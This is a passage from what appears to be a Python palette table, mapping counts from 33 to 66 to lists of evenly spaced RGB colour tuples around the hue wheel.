204), (152, 101, 204), (172, 101, 204), (191, 101, 204), (204, 101, 197), (204, 101, 178), (204, 101, 159), (204, 101, 140), (204, 101, 121)], 33: [(204, 101, 101), (204, 120, 101), (204, 139, 101), (204, 157, 101), (204, 176, 101), (204, 194, 101), (194, 204, 101), (176, 204, 101), (157, 204, 101), (139, 204, 101), (120, 204, 101), (101, 204, 102), (101, 204, 120), (101, 204, 139), (101, 204, 157), (101, 204, 176), (101, 204, 194), (101, 194, 204), (101, 176, 204), (101, 157, 204), (101, 139, 204), (101, 120, 204), (101, 101, 204), (120, 101, 204), (139, 101, 204), (157, 101, 204), (176, 101, 204), (194, 101, 204), (204, 101, 194), (204, 101, 176), (204, 101, 157), (204, 101, 139), (204, 101, 120)], 34: [(204, 101, 101), (204, 119, 101), (204, 138, 101), (204, 155, 101), (204, 174, 101), (204, 191, 101), (198, 204, 101), (180, 204, 101), (162, 204, 101), (144, 204, 101), (125, 204, 101), (108, 204, 101), (101, 204, 114), (101, 204, 131), (101, 204, 149), (101, 204, 168), (101, 204, 186), (101, 204, 204), (101, 186, 204), (101, 167, 204), (101, 149, 204), (101, 131, 204), (101, 114, 204), (107, 101, 204), (125, 101, 204), (143, 101, 204), (161, 101, 204), (179, 101, 204), (197, 101, 204), (204, 101, 191), (204, 101, 173), (204, 101, 156), (204, 101, 137), (204, 101, 119)], 35: [(204, 101, 101), (204, 119, 101), (204, 136, 101), (204, 154, 101), (204, 171, 101), (204, 189, 101), (201, 204, 101), (183, 204, 101), (166, 204, 101), (148, 204, 101), (131, 204, 101), (113, 204, 101), (101, 204, 107), (101, 204, 125), (101, 204, 142), (101, 204, 160), (101, 204, 177), (101, 204, 195), (101, 195, 204), (101, 177, 204), (101, 160, 204), (101, 142, 204), (101, 125, 204), (101, 107, 204), (113, 101, 204), (131, 101, 204), (148, 101, 204), (166, 101, 204), (183, 101, 204), (201, 101, 204), (204, 101, 189), (204, 101, 171), (204, 101, 154), (204, 101, 136), (204, 101, 119)], 36: [(204, 101, 101), (204, 118, 101), (204, 136, 101), (204, 152, 101), (204, 170, 101), (204, 186, 101), (204, 204, 101), (187, 204, 101), (169, 204, 101), (153, 204, 101), (136, 204, 101), (118, 204, 101), (102, 204, 101), (101, 204, 119), (101, 204, 135), (101, 204, 152), (101, 204, 170), (101, 204, 187), (101, 204, 204), (101, 187, 204), (101, 169, 204), (101, 153, 204), (101, 135, 204), (101, 118, 204), (101, 102, 204), (118, 101, 204), (136, 101, 204), (152, 101, 204), (169, 101, 204), (186, 101, 204), (203, 101, 204), (204, 101, 186), (204, 101, 169), (204, 101, 153), (204, 101, 135), (204, 101, 118)], 37: [(204, 101, 101), (204, 118, 101), (204, 135, 101), (204, 151, 101), (204, 168, 101), (204, 184, 101), (204, 201, 101), (190, 204, 101), (173, 204, 101), (157, 204, 101), (140, 204, 101), (124, 204, 101), (107, 204, 101), (101, 204, 113), (101, 204, 129), (101, 204, 146), (101, 204, 162), (101, 204, 179), (101, 204, 195), (101, 195, 204), (101, 179, 204), (101, 162, 204), (101, 146, 204), (101, 129, 204), (101, 113, 204), (107, 101, 204), (124, 101, 204), (140, 101, 204), (157, 101, 204), (173, 101, 204), (190, 101, 204), (204, 101, 201), (204, 101, 184), (204, 101, 168), (204, 101, 151), (204, 101, 135), (204, 101, 118)], 38: [(204, 101, 101), (204, 118, 101), (204, 134, 101), (204, 150, 101), (204, 166, 101), (204, 182, 101), (204, 198, 101), (193, 204, 101), (177, 204, 101), (161, 204, 101), (144, 204, 101), (128, 204, 101), (112, 204, 101), (101, 204, 107), (101, 204, 123), (101, 204, 139), (101, 204, 155), (101, 204, 171), (101, 204, 187), (101, 204, 204), (101, 187, 204), (101, 171, 204), (101, 155, 204), (101, 139, 204), (101, 123, 204), (101, 107, 204), (112, 101, 204), (128, 101, 204), (144, 101, 204), (161, 101, 204), (177, 101, 204), (193, 101, 204), (204, 101, 198), (204, 101, 182), (204, 101, 166), (204, 101, 150), (204, 101, 134), (204, 101, 118)], 39: [(204, 101, 101), (204, 117, 101), (204, 133, 101), (204, 149, 101), (204, 164, 101), (204, 180, 101), (204, 196, 101), (196, 204, 101), (180, 204, 101), (164, 204, 101), (149, 204, 101), (133, 204, 101), (117, 204, 101), (102, 204, 101), (101, 204, 117), (101, 204, 133), (101, 204, 149), (101, 204, 164), (101, 204, 180), (101, 204, 196), (101, 196, 204), (101, 180, 204), (101, 164, 204), (101, 149, 204), (101, 133, 204), (101, 117, 204), (101, 102, 204), (117, 101, 204), (133, 101, 204), (149, 101, 204), (164, 101, 204), (180, 101, 204), (196, 101, 204), (204, 101, 196), (204, 101, 180), (204, 101, 164), (204, 101, 149), (204, 101, 133), (204, 101, 117)], 40: [(204, 101, 101), (204, 117, 101), (204, 132, 101), (204, 147, 101), (204, 163, 101), (204, 178, 101), (204, 193, 101), (198, 204, 101), (183, 204, 101), (168, 204, 101), (153, 204, 101), (137, 204, 101), (122, 204, 101), (107, 204, 101), (101, 204, 112), (101, 204, 127), (101, 204, 142), (101, 204, 158), (101, 204, 173), (101, 204, 188), (101, 204, 204), (101, 188, 204), (101, 173, 204), (101, 158, 204), (101, 142, 204), (101, 127, 204), (101, 112, 204), (107, 101, 204), (122, 101, 204), (137, 101, 204), (152, 101, 204), (168, 101, 204), (183, 101, 204), (198, 101, 204), (204, 101, 193), (204, 101, 178), (204, 101, 163), (204, 101, 147), (204, 101, 132), (204, 101, 117)], 41: [(204, 101, 101), (204, 116, 101), (204, 131, 101), (204, 146, 101), (204, 161, 101), (204, 176, 101), (204, 191, 101), (201, 204, 101), (186, 204, 101), (171, 204, 101), (156, 204, 101), (141, 204, 101), (126, 204, 101), (111, 204, 101), (101, 204, 106), (101, 204, 121), (101, 204, 136), (101, 204, 151), (101, 204, 166), (101, 204, 181), (101, 204, 196), (101, 196, 204), (101, 181, 204), (101, 166, 204), (101, 151, 204), (101, 136, 204), (101, 121, 204), (101, 106, 204), (111, 101, 204), (126, 101, 204), (141, 101, 204), (156, 101, 204), (171, 101, 204), (186, 101, 204), (201, 101, 204), (204, 101, 191), (204, 101, 176), (204, 101, 161), (204, 101, 146), (204, 101, 131), (204, 101, 116)], 42: [(204, 101, 101), (204, 116, 101), (204, 131, 101), (204, 145, 101), (204, 160, 101), (204, 174, 101), (204, 189, 101), (204, 204, 101), (189, 204, 101), (174, 204, 101), (160, 204, 101), (145, 204, 101), (131, 204, 101), (116, 204, 101), (102, 204, 101), (101, 204, 116), (101, 204, 131), (101, 204, 145), (101, 204, 160), (101, 204, 174), (101, 204, 189), (101, 204, 204), (101, 189, 204), (101, 174, 204), (101, 160, 204), (101, 145, 204), (101, 131, 204), (101, 116, 204), (101, 102, 204), (116, 101, 204), (131, 101, 204), (145, 101, 204), (160, 101, 204), (174, 101, 204), (189, 101, 204), (203, 101, 204), (204, 101, 189), (204, 101, 174), (204, 101, 160), (204, 101, 145), (204, 101, 131), (204, 101, 116)], 43: [(204, 101, 101), (204, 116, 101), (204, 130, 101), (204, 144, 101), (204, 158, 101), (204, 173, 101), (204, 187, 101), (204, 201, 101), (192, 204, 101), (177, 204, 101), (163, 204, 101), (149, 204, 101), (135, 204, 101), (120, 204, 101), (106, 204, 101), (101, 204, 111), (101, 204, 125), (101, 204, 139), (101, 204, 154), (101, 204, 168), (101, 204, 182), (101, 204, 196), (101, 196, 204), (101, 182, 204), (101, 168, 204), (101, 154, 204), (101, 139, 204), (101, 125, 204), (101, 111, 204), (106, 101, 204), (120, 101, 204), (135, 101, 204), (149, 101, 204), (163, 101, 204), (177, 101, 204), (192, 101, 204), (204, 101, 201), (204, 101, 187), (204, 101, 173), (204, 101, 158), (204, 101, 144), (204, 101, 130), (204, 101, 116)], 44: [(204, 101, 101), (204, 115, 101), (204, 129, 101), (204, 143, 101), (204, 157, 101), (204, 171, 101), (204, 185, 101), (204, 199, 101), (194, 204, 101), (180, 204, 101), (166, 204, 101), (153, 204, 101), (139, 204, 101), (125, 204, 101), (111, 204, 101), (101, 204, 106), (101, 204, 120), (101, 204, 134), (101, 204, 148), (101, 204, 162), (101, 204, 176), (101, 204, 190), (101, 204, 204), (101, 190, 204), (101, 176, 204), (101, 162, 204), (101, 148, 204), (101, 134, 204), (101, 120, 204), (101, 106, 204), (111, 101, 204), (125, 101, 204), (139, 101, 204), (152, 101, 204), (166, 101, 204), (180, 101, 204), (194, 101, 204), (204, 101, 199), (204, 101, 185), (204, 101, 171), (204, 101, 157), (204, 101, 143), (204, 101, 129), (204, 101, 115)], 45: [(204, 101, 101), (204, 115, 101), (204, 129, 101), (204, 142, 101), (204, 156, 101), (204, 170, 101), (204, 183, 101), (204, 197, 101), (197, 204, 101), (183, 204, 101), (169, 204, 101), (156, 204, 101), (142, 204, 101), (129, 204, 101), (115, 204, 101), (101, 204, 102), (101, 204, 115), (101, 204, 129), (101, 204, 142), (101, 204, 156), (101, 204, 170), (101, 204, 183), (101, 204, 197), (101, 197, 204), (101, 183, 204), (101, 169, 204), (101, 156, 204), (101, 142, 204), (101, 129, 204), (101, 115, 204), (101, 101, 204), (115, 101, 204), (129, 101, 204), (142, 101, 204), (156, 101, 204), (169, 101, 204), (183, 101, 204), (197, 101, 204), (204, 101, 197), (204, 101, 183), (204, 101, 169), (204, 101, 156), (204, 101, 142), (204, 101, 129), (204, 101, 115)], 46: [(204, 101, 101), (204, 115, 101), (204, 128, 101), (204, 141, 101), (204, 155, 101), (204, 168, 101), (204, 181, 101), (204, 195, 101), (199, 204, 101), (186, 204, 101), (172, 204, 101), (159, 204, 101), (146, 204, 101), (133, 204, 101), (119, 204, 101), (106, 204, 101), (101, 204, 110), (101, 204, 124), (101, 204, 137), (101, 204, 150), (101, 204, 164), (101, 204, 177), (101, 204, 190), (101, 204, 204), (101, 190, 204), (101, 177, 204), (101, 164, 204), (101, 150, 204), (101, 137, 204), (101, 124, 204), (101, 110, 204), (106, 101, 204), (119, 101, 204), (133, 101, 204), (146, 101, 204), (159, 101, 204), (172, 101, 204), (186, 101, 204), (199, 101, 204), (204, 101, 195), (204, 101, 181), (204, 101, 168), (204, 101, 155), (204, 101, 141), (204, 101, 128), (204, 101, 115)], 47: [(204, 101, 101), (204, 115, 101), (204, 128, 101), (204, 141, 101), (204, 154, 101), (204, 167, 101), (204, 180, 101), (204, 193, 101), (201, 204, 101), (188, 204, 101), (175, 204, 101), (162, 204, 101), (149, 204, 101), (136, 204, 101), (123, 204, 101), (110, 204, 101), (101, 204, 106), (101, 204, 119), (101, 204, 132), (101, 204, 145), (101, 204, 158), (101, 204, 171), (101, 204, 184), (101, 204, 197), (101, 197, 204), (101, 184, 204), (101, 171, 204), (101, 158, 204), (101, 145, 204), (101, 132, 204), (101, 119, 204), (101, 106, 204), (110, 101, 204), (123, 101, 204), (136, 101, 204), (149, 101, 204), (162, 101, 204), (175, 101, 204), (188, 101, 204), (201, 101, 204), (204, 101, 193), (204, 101, 180), (204, 101, 167), (204, 101, 154), (204, 101, 141), (204, 101, 128), (204, 101, 115)], 48: [(204, 101, 101), (204, 114, 101), (204, 127, 101), (204, 140, 101), (204, 152, 101), (204, 165, 101), (204, 178, 101), (204, 191, 101), (204, 204, 101), (191, 204, 101), (178, 204, 101), (165, 204, 101), (153, 204, 101), (140, 204, 101), (127, 204, 101), (114, 204, 101), (102, 204, 101), (101, 204, 114), (101, 204, 127), (101, 204, 140), (101, 204, 152), (101, 204, 165), (101, 204, 178), (101, 204, 191), (101, 204, 204), (101, 191, 204), (101, 178, 204), (101, 165, 204), (101, 153, 204), (101, 140, 204), (101, 127, 204), (101, 114, 204), (101, 102, 204), (114, 101, 204), (127, 101, 204), (140, 101, 204), (152, 101, 204), (165, 101, 204), (178, 101, 204), (191, 101, 204), (203, 101, 204), (204, 101, 191), (204, 101, 178), (204, 101, 165), (204, 101, 153), (204, 101, 140), (204, 101, 127), (204, 101, 114)], 49: [(204, 101, 101), (204, 114, 101), (204, 126, 101), (204, 139, 101), (204, 151, 101), (204, 164, 101), (204, 176, 101), (204, 189, 101), (204, 201, 101), (193, 204, 101), (181, 204, 101), (168, 204, 101), (156, 204, 101), (143, 204, 101), (131, 204, 101), (118, 204, 101), (106, 204, 101), (101, 204, 110), (101, 204, 122), (101, 204, 135), (101, 204, 147), (101, 204, 160), (101, 204, 172), (101, 204, 185), (101, 204, 197), (101, 197, 204), (101, 185, 204), (101, 172, 204), (101, 160, 204), (101, 147, 204), (101, 135, 204), (101, 122, 204), (101, 110, 204), (106, 101, 204), (118, 101, 204), (131, 101, 204), (143, 101, 204), (156, 101, 204), (168, 101, 204), (181, 101, 204), (193, 101, 204), (204, 101, 201), (204, 101, 189), (204, 101, 176), (204, 101, 164), (204, 101, 151), (204, 101, 139), (204, 101, 126), (204, 101, 114)], 50: [(204, 101, 101), (204, 114, 101), (204, 126, 101), (204, 138, 101), (204, 150, 101), (204, 163, 101), (204, 175, 101), (204, 187, 101), (204, 199, 101), (195, 204, 101), (183, 204, 101), (171, 204, 101), (159, 204, 101), (146, 204, 101), (134, 204, 101), (122, 204, 101), (110, 204, 101), (101, 204, 106), (101, 204, 118), (101, 204, 130), (101, 204, 142), (101, 204, 155), (101, 204, 167), (101, 204, 179), (101, 204, 191), (101, 204, 204), (101, 191, 204), (101, 179, 204), (101, 167, 204), (101, 155, 204), (101, 142, 204), (101, 130, 204), (101, 118, 204), (101, 106, 204), (110, 101, 204), (122, 101, 204), (134, 101, 204), (146, 101, 204), (159, 101, 204), (171, 101, 204), (183, 101, 204), (195, 101, 204), (204, 101, 199), (204, 101, 187), (204, 101, 175), (204, 101, 163), (204, 101, 150), (204, 101, 138), (204, 101, 126), (204, 101, 114)], 51: [(204, 101, 101), (204, 113, 101), (204, 126, 101), (204, 138, 101), (204, 149, 101), (204, 162, 101), (204, 174, 101), (204, 185, 101), (204, 197, 101), (198, 204, 101), (186, 204, 101), (173, 204, 101), (162, 204, 101), (150, 204, 101), (138, 204, 101), (125, 204, 101), (114, 204, 101), (102, 204, 101), (101, 204, 114), (101, 204, 126), (101, 204, 137), (101, 204, 149), (101, 204, 162), (101, 204, 174), (101, 204, 186), (101, 204, 198), (101, 198, 204), (101, 186, 204), (101, 173, 204), (101, 162, 204), (101, 149, 204), (101, 137, 204), (101, 125, 204), (101, 114, 204), (101, 102, 204), (113, 101, 204), (125, 101, 204), (138, 101, 204), (149, 101, 204), (161, 101, 204), (173, 101, 204), (185, 101, 204), (197, 101, 204), (204, 101, 197), (204, 101, 185), (204, 101, 173), (204, 101, 162), (204, 101, 150), (204, 101, 137), (204, 101, 125), (204, 101, 113)], 52: [(204, 101, 101), (204, 113, 101), (204, 125, 101), (204, 137, 101), (204, 149, 101), (204, 160, 101), (204, 172, 101), (204, 184, 101), (204, 196, 101), (200, 204, 101), (188, 204, 101), (176, 204, 101), (164, 204, 101), (153, 204, 101), (141, 204, 101), (129, 204, 101), (117, 204, 101), (105, 204, 101), (101, 204, 109), (101, 204, 121), (101, 204, 133), (101, 204, 145), (101, 204, 156), (101, 204, 168), (101, 204, 180), (101, 204, 192), (101, 204, 204), (101, 192, 204), (101, 180, 204), (101, 168, 204), (101, 156, 204), (101, 145, 204), (101, 133, 204), (101, 121, 204), (101, 109, 204), (105, 101, 204), (117, 101, 204), (129, 101, 204), (141, 101, 204), (152, 101, 204), (164, 101, 204), (176, 101, 204), (188, 101, 204), (200, 101, 204), (204, 101, 196), (204, 101, 184), (204, 101, 172), (204, 101, 160), (204, 101, 149), (204, 101, 137), (204, 101, 125), (204, 101, 113)], 53: [(204, 101, 101), (204, 113, 101), (204, 125, 101), (204, 136, 101), (204, 148, 101), (204, 159, 101), (204, 171, 101), (204, 182, 101), (204, 194, 101), (202, 204, 101), (190, 204, 101), (178, 204, 101), (167, 204, 101), (155, 204, 101), (144, 204, 101), (132, 204, 101), (121, 204, 101), (109, 204, 101), (101, 204, 105), (101, 204, 117), (101, 204, 128), (101, 204, 140), (101, 204, 152), (101, 204, 163), (101, 204, 175), (101, 204, 186), (101, 204, 198), (101, 198, 204), (101, 186, 204), (101, 175, 204), (101, 163, 204), (101, 152, 204), (101, 140, 204), (101, 128, 204), (101, 117, 204), (101, 105, 204), (109, 101, 204), (121, 101, 204), (132, 101, 204), (144, 101, 204), (155, 101, 204), (167, 101, 204), (178, 101, 204), (190, 101, 204), (202, 101, 204), (204, 101, 194), (204, 101, 182), (204, 101, 171), (204, 101, 159), (204, 101, 148), (204, 101, 136), (204, 101, 125), (204, 101, 113)], 54: [(204, 101, 101), (204, 113, 101), (204, 124, 101), (204, 136, 101), (204, 147, 101), (204, 158, 101), (204, 170, 101), (204, 181, 101), (204, 192, 101), (204, 204, 101), (192, 204, 101), (181, 204, 101), (169, 204, 101), (158, 204, 101), (147, 204, 101), (136, 204, 101), (124, 204, 101), (113, 204, 101), (102, 204, 101), (101, 204, 113), (101, 204, 124), (101, 204, 135), (101, 204, 147), (101, 204, 158), (101, 204, 170), (101, 204, 181), (101, 204, 192), (101, 204, 204), (101, 192, 204), (101, 181, 204), (101, 169, 204), (101, 158, 204), (101, 147, 204), (101, 135, 204), (101, 124, 204), (101, 113, 204), (101, 102, 204), (113, 101, 204), (124, 101, 204), (136, 101, 204), (147, 101, 204), (158, 101, 204), (169, 101, 204), (181, 101, 204), (192, 101, 204), (203, 101, 204), (204, 101, 192), (204, 101, 181), (204, 101, 169), (204, 101, 158), (204, 101, 147), (204, 101, 135), (204, 101, 124), (204, 101, 113)], 55: [(204, 101, 101), (204, 113, 101), (204, 124, 101), (204, 135, 101), (204, 146, 101), (204, 157, 101), (204, 168, 101), (204, 179, 101), (204, 191, 101), (204, 202, 101), (194, 204, 101), (183, 204, 101), (172, 204, 101), (161, 204, 101), (150, 204, 101), (139, 204, 101), (127, 204, 101), (116, 204, 101), (105, 204, 101), (101, 204, 109), (101, 204, 120), (101, 204, 131), (101, 204, 142), (101, 204, 153), (101, 204, 165), (101, 204, 176), (101, 204, 187), (101, 204, 198), (101, 198, 204), (101, 187, 204), (101, 176, 204), (101, 165, 204), (101, 153, 204), (101, 142, 204), (101, 131, 204), (101, 120, 204), (101, 109, 204), (105, 101, 204), (116, 101, 204), (127, 101, 204), (139, 101, 204), (150, 101, 204), (161, 101, 204), (172, 101, 204), (183, 101, 204), (194, 101, 204), (204, 101, 202), (204, 101, 191), (204, 101, 179), (204, 101, 168), (204, 101, 157), (204, 101, 146), (204, 101, 135), (204, 101, 124), (204, 101, 113)], 56: [(204, 101, 101), (204, 112, 101), (204, 123, 101), (204, 134, 101), (204, 145, 101), (204, 156, 101), (204, 167, 101), (204, 178, 101), (204, 189, 101), (204, 200, 101), (196, 204, 101), (185, 204, 101), (174, 204, 101), (163, 204, 101), (153, 204, 101), (142, 204, 101), (131, 204, 101), (120, 204, 101), (109, 204, 101), (101, 204, 105), (101, 204, 116), (101, 204, 127), (101, 204, 138), (101, 204, 149), (101, 204, 160), (101, 204, 171), (101, 204, 182), (101, 204, 193), (101, 204, 204), (101, 193, 204), (101, 182, 204), (101, 171, 204), (101, 160, 204), (101, 149, 204), (101, 138, 204), (101, 127, 204), (101, 116, 204), (101, 105, 204), (109, 101, 204), (120, 101, 204), (131, 101, 204), (142, 101, 204), (152, 101, 204), (163, 101, 204), (174, 101, 204), (185, 101, 204), (196, 101, 204), (204, 101, 200), (204, 101, 189), (204, 101, 178), (204, 101, 167), (204, 101, 156), (204, 101, 145), (204, 101, 134), (204, 101, 123), (204, 101, 112)], 57: [(204, 101, 101), (204, 112, 101), (204, 123, 101), (204, 134, 101), (204, 144, 101), (204, 155, 101), (204, 166, 101), (204, 177, 101), (204, 187, 101), (204, 198, 101), (198, 204, 101), (187, 204, 101), (177, 204, 101), (166, 204, 101), (155, 204, 101), (144, 204, 101), (134, 204, 101), (123, 204, 101), (112, 204, 101), (102, 204, 101), (101, 204, 112), (101, 204, 123), (101, 204, 134), (101, 204, 144), (101, 204, 155), (101, 204, 166), (101, 204, 177), (101, 204, 187), (101, 204, 198), (101, 198, 204), (101, 187, 204), (101, 177, 204), (101, 166, 204), (101, 155, 204), (101, 144, 204), (101, 134, 204), (101, 123, 204), (101, 112, 204), (101, 102, 204), (112, 101, 204), (123, 101, 204), (134, 101, 204), (144, 101, 204), (155, 101, 204), (166, 101, 204), (177, 101, 204), (187, 101, 204), (198, 101, 204), (204, 101, 198), (204, 101, 187), (204, 101, 177), (204, 101, 166), (204, 101, 155), (204, 101, 144), (204, 101, 134), (204, 101, 123), (204, 101, 112)], 58: [(204, 101, 101), (204, 112, 101), (204, 123, 101), (204, 133, 101), (204, 144, 101), (204, 154, 101), (204, 165, 101), (204, 175, 101), (204, 186, 101), (204, 196, 101), (200, 204, 101), (189, 204, 101), (179, 204, 101), (168, 204, 101), (158, 204, 101), (147, 204, 101), (137, 204, 101), (126, 204, 101), (116, 204, 101), (105, 204, 101), (101, 204, 109), (101, 204, 119), (101, 204, 130), (101, 204, 140), (101, 204, 151), (101, 204, 161), (101, 204, 172), (101, 204, 182), (101, 204, 193), (101, 204, 204), (101, 193, 204), (101, 182, 204), (101, 172, 204), (101, 161, 204), (101, 151, 204), (101, 140, 204), (101, 130, 204), (101, 119, 204), (101, 109, 204), (105, 101, 204), (116, 101, 204), (126, 101, 204), (137, 101, 204), (147, 101, 204), (158, 101, 204), (168, 101, 204), (179, 101, 204), (189, 101, 204), (200, 101, 204), (204, 101, 196), (204, 101, 186), (204, 101, 175), (204, 101, 165), (204, 101, 154), (204, 101, 144), (204, 101, 133), (204, 101, 123), (204, 101, 112)], 59: [(204, 101, 101), (204, 112, 101), (204, 122, 101), (204, 133, 101), (204, 143, 101), (204, 153, 101), (204, 164, 101), (204, 174, 101), (204, 184, 101), (204, 195, 101), (202, 204, 101), (191, 204, 101), (181, 204, 101), (171, 204, 101), (160, 204, 101), (150, 204, 101), (140, 204, 101), (129, 204, 101), (119, 204, 101), (108, 204, 101), (101, 204, 105), (101, 204, 115), (101, 204, 126), (101, 204, 136), (101, 204, 146), (101, 204, 157), (101, 204, 167), (101, 204, 178), (101, 204, 188), (101, 204, 198), (101, 198, 204), (101, 188, 204), (101, 178, 204), (101, 167, 204), (101, 157, 204), (101, 146, 204), (101, 136, 204), (101, 126, 204), (101, 115, 204), (101, 105, 204), (108, 101, 204), (119, 101, 204), (129, 101, 204), (140, 101, 204), (150, 101, 204), (160, 101, 204), (171, 101, 204), (181, 101, 204), (191, 101, 204), (202, 101, 204), (204, 101, 195), (204, 101, 184), (204, 101, 174), (204, 101, 164), (204, 101, 153), (204, 101, 143), (204, 101, 133), (204, 101, 122), (204, 101, 112)], 60: [(204, 101, 101), (204, 112, 101), (204, 122, 101), (204, 132, 101), (204, 142, 101), (204, 152, 101), (204, 163, 101), (204, 173, 101), (204, 183, 101), (204, 193, 101), (204, 204, 101), (193, 204, 101), (183, 204, 101), (173, 204, 101), (163, 204, 101), (153, 204, 101), (142, 204, 101), (132, 204, 101), (122, 204, 101), (112, 204, 101), (102, 204, 101), (101, 204, 112), (101, 204, 122), (101, 204, 132), (101, 204, 142), (101, 204, 153), (101, 204, 163), (101, 204, 173), (101, 204, 183), (101, 204, 193), (101, 204, 204), (101, 193, 204), (101, 183, 204), (101, 173, 204), (101, 163, 204), (101, 152, 204), (101, 142, 204), (101, 132, 204), (101, 122, 204), (101, 112, 204), (101, 102, 204), (112, 101, 204), (122, 101, 204), (132, 101, 204), (142, 101, 204), (152, 101, 204), (163, 101, 204), (173, 101, 204), (183, 101, 204), (193, 101, 204), (204, 101, 203), (204, 101, 193), (204, 101, 183), (204, 101, 173), (204, 101, 163), (204, 101, 153), (204, 101, 142), (204, 101, 132), (204, 101, 122), (204, 101, 112)], 61: [(204, 101, 101), (204, 112, 101), (204, 122, 101), (204, 132, 101), (204, 142, 101), (204, 152, 101), (204, 162, 101), (204, 172, 101), (204, 182, 101), (204, 192, 101), (204, 202, 101), (195, 204, 101), (185, 204, 101), (175, 204, 101), (165, 204, 101), (155, 204, 101), (145, 204, 101), (135, 204, 101), (125, 204, 101), (115, 204, 101), (105, 204, 101), (101, 204, 108), (101, 204, 118), (101, 204, 128), (101, 204, 138), (101, 204, 148), (101, 204, 158), (101, 204, 168), (101, 204, 178), (101, 204, 188), (101, 204, 198), (101, 198, 204), (101, 188, 204), (101, 178, 204), (101, 168, 204), (101, 158, 204), (101, 148, 204), (101, 138, 204), (101, 128, 204), (101, 118, 204), (101, 108, 204), (105, 101, 204), (115, 101, 204), (125, 101, 204), (135, 101, 204), (145, 101, 204), (155, 101, 204), (165, 101, 204), (175, 101, 204), (185, 101, 204), (195, 101, 204), (204, 101, 202), (204, 101, 192), (204, 101, 182), (204, 101, 172), (204, 101, 162), (204, 101, 152), (204, 101, 142), (204, 101, 132), (204, 101, 122), (204, 101, 112)], 62: [(204, 101, 101), (204, 111, 101), (204, 121, 101), (204, 131, 101), (204, 141, 101), (204, 151, 101), (204, 161, 101), (204, 171, 101), (204, 180, 101), (204, 190, 101), (204, 200, 101), (197, 204, 101), (187, 204, 101), (177, 204, 101), (167, 204, 101), (157, 204, 101), (148, 204, 101), (138, 204, 101), (128, 204, 101), (118, 204, 101), (108, 204, 101), (101, 204, 105), (101, 204, 115), (101, 204, 125), (101, 204, 134), (101, 204, 144), (101, 204, 154), (101, 204, 164), (101, 204, 174), (101, 204, 184), (101, 204, 194), (101, 204, 204), (101, 194, 204), (101, 184, 204), (101, 174, 204), (101, 164, 204), (101, 154, 204), (101, 144, 204), (101, 134, 204), (101, 125, 204), (101, 115, 204), (101, 105, 204), (108, 101, 204), (118, 101, 204), (128, 101, 204), (138, 101, 204), (148, 101, 204), (157, 101, 204), (167, 101, 204), (177, 101, 204), (187, 101, 204), (197, 101, 204), (204, 101, 200), (204, 101, 190), (204, 101, 180), (204, 101, 171), (204, 101, 161), (204, 101, 151), (204, 101, 141), (204, 101, 131), (204, 101, 121), (204, 101, 111)], 63: [(204, 101, 101), (204, 111, 101), (204, 121, 101), (204, 131, 101), (204, 140, 101), (204, 150, 101), (204, 160, 101), (204, 170, 101), (204, 179, 101), (204, 189, 101), (204, 199, 101), (199, 204, 101), (189, 204, 101), (179, 204, 101), (169, 204, 101), (160, 204, 101), (150, 204, 101), (140, 204, 101), (131, 204, 101), (121, 204, 101), (111, 204, 101), (102, 204, 101), (101, 204, 111), (101, 204, 121), (101, 204, 131), (101, 204, 140), (101, 204, 150), (101, 204, 160), (101, 204, 170), (101, 204, 179), (101, 204, 189), (101, 204, 199), (101, 199, 204), (101, 189, 204), (101, 179, 204), (101, 169, 204), (101, 160, 204), (101, 150, 204), (101, 140, 204), (101, 131, 204), (101, 121, 204), (101, 111, 204), (101, 102, 204), (111, 101, 204), (121, 101, 204), (131, 101, 204), (140, 101, 204), (150, 101, 204), (160, 101, 204), (169, 101, 204), (179, 101, 204), (189, 101, 204), (199, 101, 204), (204, 101, 199), (204, 101, 189), (204, 101, 179), (204, 101, 169), (204, 101, 160), (204, 101, 150), (204, 101, 140), (204, 101, 131), (204, 101, 121), (204, 101, 111)], 64: [(204, 101, 101), (204, 111, 101), (204, 121, 101), (204, 130, 101), (204, 140, 101), (204, 149, 101), (204, 159, 101), (204, 168, 101), (204, 178, 101), (204, 188, 101), (204, 197, 101), (200, 204, 101), (191, 204, 101), (181, 204, 101), (172, 204, 101), (162, 204, 101), (153, 204, 101), (143, 204, 101), (133, 204, 101), (124, 204, 101), (114, 204, 101), (105, 204, 101), (101, 204, 108), (101, 204, 117), (101, 204, 127), (101, 204, 137), (101, 204, 146), (101, 204, 156), (101, 204, 165), (101, 204, 175), (101, 204, 184), (101, 204, 194), (101, 204, 204), (101, 194, 204), (101, 184, 204), (101, 175, 204), (101, 165, 204), (101, 156, 204), (101, 146, 204), (101, 137, 204), (101, 127, 204), (101, 117, 204), (101, 108, 204), (105, 101, 204), (114, 101, 204), (124, 101, 204), (133, 101, 204), (143, 101, 204), (152, 101, 204), (162, 101, 204), (172, 101, 204), (181, 101, 204), (191, 101, 204), (200, 101, 204), (204, 101, 197), (204, 101, 188), (204, 101, 178), (204, 101, 168), (204, 101, 159), (204, 101, 149), (204, 101, 140), (204, 101, 130), (204, 101, 121), (204, 101, 111)], 65: [(204, 101, 101), (204, 111, 101), (204, 120, 101), (204, 130, 101), (204, 139, 101), (204, 149, 101), (204, 158, 101), (204, 167, 101), (204, 177, 101), (204, 186, 101), (204, 196, 101), (202, 204, 101), (193, 204, 101), (183, 204, 101), (174, 204, 101), (164, 204, 101), (155, 204, 101), (145, 204, 101), (136, 204, 101), (127, 204, 101), (117, 204, 101), (108, 204, 101), (101, 204, 105), (101, 204, 114), (101, 204, 123), (101, 204, 133), (101, 204, 142), (101, 204, 152), (101, 204, 161), (101, 204, 171), (101, 204, 180), (101, 204, 189), (101, 204, 199), (101, 199, 204), (101, 189, 204), (101, 180, 204), (101, 171, 204), (101, 161, 204), (101, 152, 204), (101, 142, 204), (101, 133, 204), (101, 123, 204), (101, 114, 204), (101, 105, 204), (108, 101, 204), (117, 101, 204), (127, 101, 204), (136, 101, 204), (145, 101, 204), (155, 101, 204), (164, 101, 204), (174, 101, 204), (183, 101, 204), (193, 101, 204), (202, 101, 204), (204, 101, 196), (204, 101, 186), (204, 101, 177), (204, 101, 167), (204, 101, 158), (204, 101, 149), (204, 101, 139), (204, 101, 130), (204, 101, 120), (204, 101, 111)], 66: [(204, 101, 101), (204, 111, 101), (204, 120, 101), (204, 129, 101), (204, 139, 101), (204, 148, 101), (204, 157, 101), (204, 166, 101), (204, 176, 101), (204, 185, 101), (204, 194, 101), (204, 204, 101), (194, 204, 101), (185, 204, 101), (176, 204, 101), (166, 204, 101), (157, 204, 101), (148, 204, 101), (139, 204, 101), (129, 204, 101), (120, 204, 101), (111, 204, 101), (101, 